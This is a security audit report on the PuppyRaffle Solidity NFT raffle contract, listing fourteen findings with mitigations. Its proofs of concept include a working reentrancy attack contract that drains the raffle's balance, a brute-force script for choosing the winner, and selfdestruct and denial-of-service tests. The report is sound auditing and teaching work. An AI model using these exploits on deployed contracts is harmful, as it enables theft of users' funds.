Puppy Raffle Audit Report

Version 1.0

0xPexy

June 26, 2025

Puppy Raffle Audit Report

0xPexy

Jun 26, 2025

Prepared by: 0xPexy

Visit 0xPexy X!

Table of Contents

Protocol Summary

PuppyRaffle is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

0xPexy makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by 0xPexy is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash

`e30d199697bbc822b646d76533b66b7d529b8ef5`

Scope

```
- PuppyRaffle.sol
```

Roles

1. Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
2. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	2
Info	6
Gas Optimizations	0
Total	14

Findings

High Severity

[H-1] Violates CEI pattern in `PuppyRaffle::refund` function enables re-entrancy, withdrawing balance repeatedly from `PuppyRaffle`

Description: The `refund` function violates the *Checks-Effects-Interactions (CEI) pattern* by performing an external call `sendValue` before updating the internal state `players[playerIndex] = address(0)`. If an attacker contract set it's own `fallback` or `receive` function to enter `refund` function, it can re-enter the `refund` repeatedly because that address has not been removed yet.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(
        playerAddress == msg.sender,
        "PuppyRaffle: Only the player can refund"
    );
    require(
        playerAddress != address(0),
        "PuppyRaffle: Player already refunded, or is not active"
    );
    // external calls before internal state-mutation
    payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = address(0);
```

```
15         emit RaffleRefunded(playerAddress);
16     }
```

Impact: The attacker contract can re-enter the `refund` repeatedly until the balance of `PuppyRaffle` gets smaller than `PuppyRaffle::entranceFee`, and steals almost of balance.

Proof of Concept: The `RaffleReentrancy` contract has `fallback` and `receive` function to call `PuppyRaffle::refund`. If `RaffleReentrancy::attack` is called, you might see `RaffleReentrancy` steal all balance of `PuppyRaffle`.

Code

Place the following test into the `test/PuppyRaffleTest.t.sol`.

```
function testRefundReentrancy() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
    address attacker = address(99);
    vm.deal(attacker, 10 ether);
    vm.prank(attacker);
    RaffleReentrancy attackContract = new RaffleReentrancy{
        value: entranceFee
    }(attacker, puppyRaffle, entranceFee);
    uint balanceAttackContractBefore = address(attackContract).balance;
    uint balanceRaffleBefore = address(puppyRaffle).balance;
    attackContract.attack();
    uint balanceAttackContractAfter = address(attackContract).balance;
    uint balanceRaffleAfter = address(puppyRaffle).balance;
    console.log(
        "balance of AttackContract before: %s, after: %s",
        balanceAttackContractBefore,
        balanceAttackContractAfter
    );
    console.log(
        "balance of Raffle before: %s, after: %s",
        balanceRaffleBefore,
        balanceRaffleAfter
    );
}

contract RaffleReentrancy {
    address owner;
    PuppyRaffle public raffle;
    uint public entranceFee;
    uint public index;

    constructor(
```

```
38          address _owner,
39          PuppyRaffle _raffle,
40          uint _entranceFee
41      ) payable {
42          owner = _owner;
43          raffle = _raffle;
44          entranceFee = _entranceFee;
45          index = 0;
46      }
47
48      function attack() public {
49          address ownAddr = address(this);
50          address[] memory player = new address[](1);
51          player[0] = ownAddr;
52          raffle.enterRaffle{value: entranceFee}(player);
53          index = raffle.getActivePlayerIndex(ownAddr);
54          raffle.refund(index);
55      }
56
57      function _callRefund() private {
58          if (address(raffle).balance >= entranceFee) {
59              raffle.refund(index);
60          }
61      }
62
63      function withdraw(uint amount) public {
64          require(msg.sender == owner);
65          payable(owner).transfer(amount);
66      }
67
68      fallback() external payable {
69          _callRefund();
70      }
71
72      receive() external payable {
73          _callRefund();
74      }
75  }
```

Recommended Mitigation:

1. Use the CEI pattern. Run external-call statements after all internal statements are done.

```
- payable(msg.sender).sendValue(entranceFee);
 players[playerIndex] = address(0);
 emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
```

2. Use a boolean lock variable, which is set to be **`true`** in entering, to be **`false`** in the end of `refund`.

3. Use `ReentrancyGuard` by Openzeppelin.

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to select a winner and the rarity

Description: `PuppyRaffle::selectWinner` selects random raffle winner by hashing predictable `msg.sender, block.timestamp, block.difficulty` inputs, resulting to *weak randomness*.

```
uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(msg.sender, block.timestamp, block.
                    difficulty)
            )
        ) % players.length;
```

Also, the `rarity` depends on predictable inputs.

```
uint256 rarity = uint256(
            keccak256(abi.encodePacked(msg.sender, block.difficulty))
        ) % 100;
```

Impact: Anyone can select the raffle winner to receive Ether and a winner NFT, even can get `LEGENDARY_RARITY` easily.

Proof of Concept: In one block, the `block.*` values are fixed, an attacker can generate arbitrary accounts and compute the `winnerIndex` by each address until the target index found, then finally call `selectWinner` by that account.

Code

Below code shows exploiting address that can choose `target` to be winner.

```
    function testAttackerSelectWinner() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        int32 TARGET_INDEX = 0;
        address target = playerOne;

        int32 winnerIndex = -1;
        uint256 addrHex = 0x19;
        address attacker = makeAddr(Strings.toString(addrHex));
        while (winnerIndex != TARGET_INDEX) {
            attacker = makeAddr(Strings.toString(++addrHex));
            winnerIndex = int32(
                uint256(
                    keccak256(
```

```
16                          abi.encodePacked(
17                              attacker,
18                              block.timestamp,
19                              block.difficulty
20                          )
21                      )
22                  ) % 4
23              );
24          }
25
26          vm.prank(attacker);
27          puppyRaffle.selectWinner();
28          assertEq(target, puppyRaffle.previousWinner());
29      }
```

Recommended Mitigation: Use oracles like *Chainlink VRF* in random value generation.

[H-3] Precision loss in `PuppyRaffle::selectWinner` can block the fee withdrawal

Description: In `PuppyRaffle::selectWinner`, there is a precision loss in calculating fees, which is caused by following two reasons.

1. *Divisions*: `prizePool` and `fee` includes division by `100`, which is necessary for applying ratio, amount less than `100` will be omitted. The problem is either one does not include subtraction from `totalFees`, both may have less value than original ones.
2. *Downcasting*: `totalFees` is uint64 and `fee` is downcasted from uint256 to make consistent. This means if `totalFees` becomes greater than `type(uint64).max`, it can overflow and lose the exceeded amount.

Impact: Collected fees are withdrawn only if the balance of the `PuppyRaffle` equals to the `totalFees`. Due to the precision loss, `totalFees` could be less than the balance and blocked to withdraw fees.

Proof of Concept:

Code

1. Add below code to `PuppyRaffleTest`.

```
1  function testBlockWithrawFees() public playersEntered {
2          vm.warp(block.timestamp + duration + 1);
3          vm.roll(block.number + 1);
4          puppyRaffle.selectWinner();
5
6          uint256 totalFee = puppyRaffle.totalFees();
7          uint256 puppyRaffleBalance = address(puppyRaffle).balance;
```

```
8           console.log("Total Fee: %s, PuppyRaffle balance: %s", totalFee,
                puppyRaffleBalance);
9
10          puppyRaffle.withdrawFees();
11      }
```

2. Set `PuppyRaffleTest::entranceFee` to `12345678`, `100e18`. One is for divisions, the other is for downcasting.

```
1 uint256 entranceFee = 12345678;
2 uint256 entranceFee = 100e18;
```

3. Run `forge test --mt testBlockWithrawFees -vv` in each case.

```
1 [FAIL: PuppyRaffle: There are currently players active!]
     testBlockWithrawFees() (gas: 369450)
2 Logs:
3   Total Fee: 9876542, PuppyRaffle balance: 9876543
4
5 [FAIL: PuppyRaffle: There are currently players active!]
     testBlockWithrawFees() (gas: 369423)
6 Logs:
7   Total Fee: 6213023705161793536, PuppyRaffle balance:
        8000000000000000000
```

Recommended Mitigation:

1. Calculate `fee` by subtraction in `selectWinner`.

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 - uint256 fee = (totalAmountCollected * 20) / 100;
3 + uint256 fee = totalAmountCollected - prizePool;
```

2. Change the type of `totalFees` to `uint256` in `PuppyRaffle`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove downcasting `fee` in `selectWinner`.

```
1 - totalFees = totalFees + uint64(fee);
2 + totalFees = totalFees + fee;
```

[H-4] Malicious winner contract in `PuppyRaffle::selectWinner` can interrupt the normal raffle progress

Description: In `selectWinner`, there are two reward transfers for ETH and ERC721, which are implemented just pushing asset to the `winner`.

```
(bool success, ) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
```

But there are an attack vector if the `winner` is a contract. The `winner` contract which does not have the correct `fallback` or `receive`, or `onERC721Received` may revert any transaction which calls `selectWinner`.

Impact: The Raffle is hard to be done as intended. Maybe the operators could push some arbitrary addresses in the raffle and submit multiple transactions with calling `selectWinner` until one of the normal addresses is selected, but that's not what the protocol intended.

Proof of Concept:

Code

Below code shows that the transactions are reverted by the winner contracts missing fallbacks for ETH and ERC721 respectively.

```
contract NoETHReceiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

contract NoERC721Receiver {
    receive() external payable {}
}

function testInterruptRaffle() public {
    NoETHReceiver noETH = new NoETHReceiver();
    NoERC721Receiver noERC = new NoERC721Receiver();
    uint playersLen = 4;
    address[] memory players = new address[](playersLen);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = address(noETH);
    players[3] = address(noERC);
```

```
25      puppyRaffle.enterRaffle{value: entranceFee * playersLen}(players);
26      // Contract without onERC721Received is winner
27      vm.warp(block.timestamp + duration + 1);
28      vm.roll(block.number + 1);
29      vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer
            ");
30      puppyRaffle.selectWinner();
31      // Contract without ETH fallback is winner
32      vm.warp(block.timestamp + duration + 3);
33      vm.roll(block.number + 1);
34      vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner")
            ;
35      puppyRaffle.selectWinner();
36  }
```

Recommended Mitigation: Use the *Pull over Push* pattern to transfer rewards. See the example code below.

1. Record rewards for the winner in `selectWinner`.
2. Add a funtion to request rewards for the winner.

```
1   contract PuppyRaffle is ERC721, Ownable {
2       ...
3   +   struct RaffleResult {
4   +       address winner;
5   +       uint256 prizePool;
6   +       uint256 tokenId;
7   +   }
8   +   mapping(uint256 => RaffleResult) public raffleResults;
9   +   uint256 public raffleId = 0;
10  +   uint256 tokenId = 0;
11      ...
12      function selectWinner() external {
13  -       (bool success, ) = winner.call{value: prizePool}("");
14  -       require(success, "PuppyRaffle: Failed to send prize pool to
        winner");
15  -       _safeMint(winner, tokenId);
16
17  +       raffleResults[raffleId++] = RaffleResult({
18  +           winner: winner,
19  +           prizePool: prizePool,
20  +           tokenId: tokenId++
21  +       });
22      }
23
24  +   function requestRewards(uint256 _raffleId) external {
25  +       RaffleResult memory res = raffleResults[_raffleId];
26  +       require(
27  +           res.winner != address(0),
```

```
+            "PuppyRaffle: Winner has not been selected yet or already received rewards"
+        );
+        // make sure to change internal state before external calls
+        raffleResults[_raffleId].winner = address(0);
+        (bool success, ) = res.winner.call{value: res.prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
+        _safeMint(res.winner, res.tokenId);
+    }
     ...
}
```

Test Code

Add the followings in `PuppyRaffleTest.t.sol` and run with `forge test --mt testRequestRewards -vv`.

```
    function testRequestRewards() public {
        NoETHReceiver noETH = new NoETHReceiver();
        NoERC721Receiver noERC = new NoERC721Receiver();
        uint playersLen = 4;
        address[] memory players = new address[](playersLen);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = address(noETH);
        players[3] = address(noERC);

        uint256 raffleId = 0;
        puppyRaffle.enterRaffle{value: entranceFee * playersLen}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        // Contract without onERC721Received is winner - cannot request rewards
        puppyRaffle.selectWinner();
        vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer");
        puppyRaffle.requestRewards(raffleId++);

        puppyRaffle.enterRaffle{value: entranceFee * playersLen}(players);
        vm.warp(block.timestamp + duration + 3);
        vm.roll(block.number + 1);
        // Contract without ETH fallback is winner - cannot request rewards
        puppyRaffle.selectWinner();
        vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
        puppyRaffle.requestRewards(raffleId++);

```

```
28          puppyRaffle.enterRaffle{value: entranceFee * playersLen}(
                players);
29
30          vm.warp(block.timestamp + duration + 1);
31          vm.roll(block.number + 1);
32          puppyRaffle.selectWinner();
33          (address winner, uint256 prizePool, uint256 tokenId) =
                puppyRaffle
34              .raffleResults(raffleId);
35          uint256 prevPlayerOneBalance = playerOne.balance;
36          // playerOne is winner - can request rewards
37          puppyRaffle.requestRewards(raffleId);
38
39          assertEq(playerOne, winner);
40          assertEq(playerOne, puppyRaffle.ownerOf(tokenId));
41          assertEq(prizePool, playerOne.balance - prevPlayerOneBalance);
42          // cannot request on already received or ongoing raffle
43          vm.expectRevert(
44              "PuppyRaffle: Winner has not been selected yet or already
                    received rewards"
45          );
46          puppyRaffle.requestRewards(raffleId++);
47          vm.expectRevert(
48              "PuppyRaffle: Winner has not been selected yet or already
                    received rewards"
49          );
50          puppyRaffle.requestRewards(raffleId);
51      }
```

Medium Severity

[M-1] Unbounded for-loop checking duplicates in `PuppyRaffle::enterRaffle` is a potential DoS attack, incrementing gas costs for future entrants

Description: In `PuppyRaffle::enterRaffle`, there is a nested for-loop with O(n^2) time-complexity to check duplicates in users entered raffle.

```
1  for (uint256 i = 0; i < players.length - 1; i++) {
2      for (uint256 j = i + 1; j < players.length; j++) {
3          require(
4              players[i] != players[j],
5              "PuppyRaffle: Duplicate player"
6          );
7      }
8  }
```

However, because the `enterRaffle` is just a payable function without constraints like ACLs, users can call it without any risk.

```
function enterRaffle(address[] memory newPlayers) public payable {
    ...
}
```

So, the `players` array can be easily extended, the for-loop can be unbounded.

Impact: This can cause *Denial-of-Service(DoS)* attack. If malicious users call `enterRaffle` with large `newPlayers` or call `enterRaffle` repeatedly, gas cost to run new `enterRaffle` become gradually expensive. Then new late users have to pay more gas to enter, or even cannot enter the raffle and malicious users will get all rewards.

Proof of Concept: The first `enterRaffle` call pushs 1000 addresses, which cost `440181896` gas. However, the second call pushs only one address, it costs `417774202` gas, which is even more than first call. That gas amount is really huge amount itself, the worst is the more calls accumulated, the more gas needed, finally ends with `revert`.

Code

Place the following test into `test/PuppyRaffleTest.t.sol`.

```
function testEnterRaffleDoS() public {
    uint gasBefore;
    uint gasAfter;
    address[] memory newOnePlayer = new address[](1);

    // 1. Entering only one new user
    newOnePlayer[0] = address(99999);
    gasBefore = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee}(newOnePlayer);
    gasAfter = gasleft();
    console.log("1. Gas used:", gasBefore - gasAfter);

     // 2. Entering 1000 new users
    uint numberOfPlayers = 1000;
    address[] memory players = new address[](numberOfPlayers);
    for (uint i = 0; i < numberOfPlayers; i++) {
        players[i] = address(i);
    }
    gasBefore = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
       players);
    gasAfter = gasleft();
    console.log("2. Gas used:", gasBefore - gasAfter);

     // 3. Entering only one new user
    newOnePlayer[0] = address(9999);
    gasBefore = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee}(newOnePlayer);
    gasAfter = gasleft();
```

```
29      console.log("3. Gas used:", gasBefore - gasAfter);
30  }
```

Run test via `forge test --match-test testEnterRaffleDoS -vv`, then you can see the expected output:

```
1  Logs:
2    1. Gas used: 61582
3    2. Gas used: 440987844
4    3. Gas used: 418609328
```

Recommended mitigation:

1. Consider allowing duplicates. Users can make new wallet address anyways, so duplicates check does not prevent the same person from entering multiple times, only the same wallet address.
2. Use *mappings* to remove unbouded for-loop checking duplicates, which cost only O(1) time-complexity.

```
1  +    mapping(address => bool) public s_hasEntered;
2       address[] public players; // keep if iteration is needed
3
4       function enterRaffle(address[] memory newPlayers) public payable {
5           require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
6           for (uint256 i = 0; i < newPlayers.length; i++) {
7
8           }
9           for (uint256 i = 0; i < newPlayers.length; i++) {
10 -            players.push(newPlayers[i]);
11 +            address player = newPlayers[i];
12 +            require(!s_hasEntered[player], "PuppyRaffle: Duplicate
       player");
13 +            s_hasEntered[player] = true;
14 +            players.push(player); // Only add to players if not
       duplicate
15          }
16 -        for (uint256 i = 0; i < players.length - 1; i++) {
17 -            for (uint256 j = i + 1; j < players.length; j++) {
18 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
19 -            }
20 -        }
21          emit RaffleEnter(newPlayers);
22      }
```

3. Use `EnumerableSet` in *OpenZeppelin*.

[M-2] Mishandling ETH in `PuppyRaffle::withdrawFees` function might block withdrawal of fees

Description: In `PuppyRaffle::withdrawFees`, there is a `require(address(this).balance == uint256(totalFees))` statement for checking whether raffle is done, so that there are no active users in current. But comparing the contract balance with internal sum variable might be an attack vector, which can be maliciously added by *selfdestruct* call in another contract. (Note that the operation of *selfdestruct* has been changed recently, please check it.)

Impact: Due to the modified balance of `PuppyRaffle` does not match with `PuppyRaffle::totalFees`, the `require` statement fails, then `PuppyRaffle::feeAddress` account cannot withdraw fee normally. There maybe some solutions like account might call other contract including *selfdestruct* to adjust the balance, but these are not the correct intention of the protocol.

Proof of Concept: After 4 players entered raffle and winner has been selected, an attacker inits the contract with ETH. Then call `RaffleSelfDestruct::attack` function including *selfdestruct*, which pushs remaining ETH to the `PuppyRaffle`. As a result, `PuppyRaffle::withdrawFees` reverts with regarding the raffle is not done.

Code

```
function testRaffleSelfDestruct() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();
    RaffleSelfDestruct selfDestruct = new RaffleSelfDestruct{
        value: 1 ether
    }(address(puppyRaffle));

    selfDestruct.attack();
    console.log(
        "balance of PuppyRaffle: %s, totalFees: %s",
        address(puppyRaffle).balance,
        uint(puppyRaffle.totalFees())
    );
    vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: Modify the logic to check whether the raffle is done, removing the statement to comparing with the balance of `PuppyRaffle`.

- Check `players.length` in `withdrawFees`, revert if is not 0.
- Make a bool flag variable like `raffleOngoing`, set **`true`** in `enterRaffle` and **`false`** in

`selectWinner`. Revert if the flag is true.

Low Severity

[L-1] False-negative in `PuppyRaffle::getActivePlayerIndex` causes bad UX to get refunds

Description: `PuppyRaffle::getActivePlayerIndex` is intended to return 0 only if the given `player` is *inactive*, which means absence in `players`. But *active* player at `players[0]` gets 0 as a return value of this method. This is often called *False-negative*.

Impact: According to the natspec of `PuppyRaffle::refund`, external users could find their address to call `refund` by `getActivePlayerIndex`. But because of the vague return value, users could misunderstand whether they entered to raffle successfully or not, which cause bad UX to get refunds.

Recommended Mitigation: Add reverting or returning special value(2^256-1) for inactive users.

```
function getActivePlayerIndex(
    address player
) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
+   revert("PuppyRaffle: Player is not active");
}
```

[L-2] Lacks zero-address check on `feeAddress` can cause loss of ETH

Description: Lacks zero-address check on setting `address public feeAddress` in `PuppyRaffle::constructor` function and `PuppyRaffle::changeFeeAddress` function might cause `feeAddress` to be zero address.

Impact: Because `PuppyRaffle::withdrawFees` can be called by anyone, Ether with amount `totalFees` can be lost if `feeAddress` is set to zero address.

Recommended Mitigation:

1. Add input validation in each part.

```
constructor(
    uint256 _entranceFee,
    address _feeAddress,
```

```
    uint256 _raffleDuration
) ERC721("Puppy Raffle", "PR") {
+       require(
+           _feeAddress != address(0),
+           "PuppyRaffle: Fee address should not be zero"
+       );
    ...
}

function changeFeeAddress(address newFeeAddress) external onlyOwner {
+       require(
+           newFeeAddress != address(0),
+           "PuppyRaffle: Fee address should not be zero"
+       );
    feeAddress = newFeeAddress;
    emit FeeAddressChanged(newFeeAddress);
}
```

2. Add access-control check in `withrawFees`.

```
- function withdrawFees() external
+ function withdrawFees() external onlyOwner
```

Informational

[I-1] Outdated Solidity and floating pragma

Description: This protocol uses outdated Solidity *v0.7.6*, while the latest is *v0.8.30* release in May 7, 2025. Outdated version might have potential bugs or vulnerabilites. Also, using *floating pragma* does not ensure a consistent compile environment.

Recommended Mitigation:

1. Use recent Solidity version(*>=0.8.0*).
2. Use *strict pragma* and unify version.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-2] Unnamed numeric constants

Description: In `PuppyRaffle::selectWinner` function, there are *unnamed magic numbers* to calculate rewards and fees of the funds. This might mislead the intention, so use named constant variables, or storage variables if update is needed.

Recommended Mitigation:

1. Add constant member variables in `PuppyRaffle`.

```
+ // Constants for calculating winner reward and fee
+ uint256 private constant TOTAL_RATIO = 100;
+ uint256 private constant PRIZE_RATIO = 80;
+ uint256 private constant FEE_RATIO = 20;
```

2. Use them in `selectWinner`.

```
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;
+ uint256 prizePool = (totalAmountCollected * PRIZE_RATIO) /
    TOTAL_RATIO;
+ uint256 fee = (totalAmountCollected * FEE_RATIO) / TOTAL_RATIO;
```

[I-3] Missing keywords for unchanged variables

In `PuppyRaffle` contract, variables representing IPFS URI, `commonImageUri`, `rareImageUri` and `legendaryImageUri` are unchanged, add `constant` keyword to ensure it.

```
- string private commonImageUri = ...
- string private rareImageUri = ...
- string private legendaryImageUri =
+ string private constant commonImageUri = ......
+ string private constant rareImageUri = ...
+ string private constant legendaryImageUri = ...
```

`raffleDuration` is only intialized in `constructor` and unchanged, add `immutable` keyword for it.

```
- uint256 public raffleDuration;
+ uint256 public immutable raffleDuration;
```

[I-4] Missing events in state-mutable `selectWinner` and `withdrawFees`

Description: In the `PuppyRaffle` contract, two state-mutable functions named `selectWinner` and `withdrawFees` do not emit events while other state-mutable functions emit.

Recommended Mitigation: Add events for `selectWinner` and `withdrawFees`.

[I-5] Insufficient overall testing coverage

About 85% lines and statments are tested in `PuppyRaffle`, improve overall testing coverage to make protocol more secure.

[I-6] Unused function

The `PuppyRaffle::_isActivePlayer` is not used or referenced anywhere while requiring unnecessary gas when deploying the contract. Remove for gas efficiency and clean code.